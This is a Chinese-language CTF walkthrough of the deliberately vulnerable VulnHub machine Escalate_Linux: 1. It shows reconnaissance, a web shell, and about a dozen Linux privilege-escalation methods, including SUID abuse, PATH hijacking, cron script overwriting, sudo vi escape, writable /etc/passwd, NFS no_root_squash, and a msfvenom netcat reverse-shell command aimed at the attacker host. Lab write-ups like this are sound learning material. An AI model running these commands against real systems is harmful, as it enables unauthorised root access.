No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习

**

VulnHub-Escalate_Linux: 1-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/escalate_linux-1,323/
靶机难度:初级(CTF)
靶机发布日期:2019年6月30日
靶机描述:
Escalate_Linux-一种有意开发的易受攻击的Linux虚拟机。该计算机的主要重点是学习Linux Post Exploitation(特权升级)技术。
“ Escalate_Linux” Linux易受攻击的虚拟机包含与之不同的功能。
12种以上特权升级方式
垂直特权升级
横向特权升级
多级特权升级
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-02-02
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第1张图片
看介绍说有12种左右的方法提权????
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第2张图片
我们已经找到了此次CTF目标计算机IP地址:192.168.182.142
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第3张图片
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第4张图片
开放了挺多端口…一个一个往下渗透吧…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第5张图片
默认的apache页面…针对apache,我直接爆破php…应该是存在的…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第6张图片
命令:dirb http://192.168.182.142 -X .php
找到了shell.php,进去看看…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第7张图片
可以执行cmd命令??试试
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第8张图片
果然可以…权限user6…这里有3种方法可以提权到user6…我直接最简单的了,看我前面章节也知道复现过很多这种场景…(当然有更多方法请老哥指导)
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第9张图片
利用了MSF创建了反向shell,然后将shell进行URL编码…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第10张图片
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第11张图片
在web链接输入,即可提权…
进来后,更快的发现漏洞枚举用户…我使用LinEnum工具…上传它
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第12张图片
到tmp目录成功上传了…执行
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第13张图片
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第14张图片
可以看到存在八个用户…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第15张图片
在crontab中,每5分钟使用root特权运行autoscript.sh文件…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第16张图片
看到/etc/passwd对用户也是可写的,还发现可以使用root特权运行shell和脚本文件,在其上启用了SUID位…
通过LinEnum工具把应该能发现的漏洞都体现出来了…这边开始提权把…
python -c ‘import pty;pty.spawn("/bin/bash")’

二、提权

方法1

No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第17张图片
命令:find / -perm -u=s -type f 2>/dev/null
user3用户可执行shell提权…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第18张图片
使用find命令,可以确认,可以使用root特权执行位于user3主目录中的shell文件,成功提权root…

方法2

前面LinEnum工具发现可以使用root特权执行位于user5主目录中的脚本文件,使用Path变量利用方法,可以访问/etc/shadow文件…

学习关路径变量特权升级:链接
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第19张图片
可以看到我这边没成功…该脚本执行的时候应该会以root身份执行,然后加载环境变量,执行cat /etc/shadow命令,这样的话我们就能够拿到root身份的密码值,然后使用john破解即可…但是没成功,我检查下…
nmap前面发现了2049端口NFS打开着,我通过NFS把script放到本地检查下…(NFS前面章节也讲过)
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第20张图片
不必看输入错的字符…尴尬…是ELF 64-bit这边用GDB分析下…我需要在64位kali上分析…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第21张图片
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第22张图片
分析了一圈…发现二进制文件script是基于ls文件执行得…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第23张图片
可以看到本身文件脚本不执行任何操作的…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第24张图片
只需要针对ls加载环境变量即可…成功提权…

方法3

在前面的截图中,有看到在crontab中,每5分钟使用root特权运行autoscript.sh文件…
借鉴方法2,使用相同的脚本文件,可以借助Path变量方法更改所有用户的密码…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第25张图片
使用echo和chpasswd命令将现有密码替换为新密码12345…然后使用su命令切换到user4帐户…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第26张图片
在桌面文件夹中看到文件autoscript.sh…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第27张图片
命令:msfvenom -p cmd/unix/reverse_netcat lhost=192.168.182.141 lport=8888 R
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第28张图片
命令:echo "shellcode" > autoscript.sh
将代码复制到autoscript.sh文件后,执行该文件,并在kali上启动了netcat侦听器,等待shell即可…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第29张图片
成功获得root…

方法4

使用与上述相同的方法将所有用户的密码更改为12345,并在用户之间切换来检查更多漏洞,发现user8对vi编辑器具有sudo权限…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第30张图片
准备使用sudo打开vi编辑器,并插入sh命令…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第31张图片
输入:!sh,获得了root shell…

方法5

继续进行用户枚举,发现user7是gid为0的根组的成员…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第32张图片
从LinEnum扫描中知道/etc/passwd文件对于用户是可写的,user7可以编辑/etc/passwd文件…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第33张图片
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第34张图片
命令:openssl passwd -1 -salt ignite dayu
在kali机器中复制了/etc/passwd文件的内容,并创建了一个具有root特权的名为dayu的新用户,并使用openssl为该用户生成了密码…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第35张图片
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第36张图片
使用dayu用户登录即可…提权成功…

方法6

前面也提过了nmap发现了NFS共享开放着…No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第37张图片
通过LinEnum工具也发现了安装点的存在…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第38张图片
/home/user5 *(rw,no_root_squash)
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第39张图片
将user5通过NFS共享到本地…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第40张图片
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第41张图片
创建一个SUID,执行即可…

方法7

No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第42张图片
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第43张图片
从LinEnum扫描中知道mysql可以利用…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第44张图片
密码默认root…
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第45张图片
通过挖掘数据库发现了mysql用户,密码是mysql@12345

No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第46张图片
在数据库中看到了user1~8用户的密码…继续找下
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第47张图片
在secret文件中查看到了root密码…

方法8

No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第48张图片

No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第49张图片
提权成功…

方法9

No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第50张图片
检查组权限时,发现在根组下找到user4和user7…意思是user4和user7可以修改/etc/passwd文件…
方法和方法5一样执行即可提权…修改passwd

方法10

No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习_第51张图片
在/home/user3下,发现了script.sh文件…和方法1一样提权即可…

方法11

收集/etc/shadow文件,并使用john中自带密码库进行爆破即可…思路其实就是和方法2的思路一样…

这里差不多了…方法12应该是user1直接提权…有些方法比较直接…

由于我们已经成功得到root权限,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

你可能感兴趣的:(python,linux,java,数据库,shell)